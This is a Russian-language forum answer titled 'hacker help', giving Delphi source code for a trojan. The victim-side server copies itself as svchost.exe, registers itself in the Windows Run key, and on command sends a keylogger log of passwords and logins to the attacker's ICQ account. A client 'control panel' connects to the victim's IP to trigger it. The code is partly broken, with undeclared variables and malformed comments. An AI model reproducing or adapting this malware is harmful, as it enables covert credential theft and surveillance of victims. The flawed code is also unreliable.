помощь хакера

Ответ от CODEMASTER[гуру]
напиши троянна дельфи, который будет отправлять тебе логи в аську:
вот исходник сервера (который будет на компе юзверя) :
положи на форму serversoсket с закладки интернет, и TICQClient(он лежит на delphiexpert.ru), и одно мемо:
в свойствах проэкта, закладке forms убери главную форму из auto-create forms, в available forms.
в свойствах serversocket'a поставь порт от 1024 до 65000 советую ставить нечто среднее между этими числами. если работать не будет, можеш поменять.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp,registry;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
label a;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile; //прописываемся в автозапуск
begin
copyfile(pchar(application.exename),'c:windowssvchost.exe',false);
Regini:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
Regini.OpenKey('Software', true);
Regini.OpenKey('Microsoft', true);
Regini.OpenKey('Windows', true);
Regini.OpenKey('CurrentVersion', true);
Regini.WriteString('Run','svchost.exe',
'c:windowssvchost.exe');
Regini.Free;
ServerSocket1.Active:=true; //активируем соединение
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=false;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
begin
s:=Socket.ReceiveText;
if s='s' then // если от клиента поступила команда 's', то.. .
memo1.lines.loadfromfile('c:keyloggerlog.txt');// место где лежит лог с нажатыми клавижами, паролями логинами и т. д.
icqclient1.uin:=123456789;// номер аськи, с которого будет отправлятся отчет. заранее зарегистрируй его.
Icqclient1.password:='password';// пароль от этой аськи;
icqclient1.login;//логинимся
sleep(20000);ждем 20 секунд пока залогиниться (можеш вместо этого создать обработчик onlogin).
a:
if icqclient1.logged=true then icqclient1.sendmessage(987654321{твой номер аськи},memo1.text);// отправляем
//отчет
else goto a;//если не залогинились ждем еще;
sleep(10000); ждем 10 секунд када отправиться
icqclient1.logoff;//выходим из аськи:
end;
end;
end.
в проэкте пропиши
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);//создаем нашу форму
Application.Run;
end.
а это клиент, т. е. твой пульт управления:
нужен клиентсокет, эдит и кнопка.
у клиентсокета поставь тот же порт что и у серверсокета.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text; // айпишник жертвы
ClientSocket1.Active:=true; // конектимся
ClientSocket1.Socket.SendText('s'); // отправляем команду
ClientSocket1.Active:=false; //отключаемся
end;
end.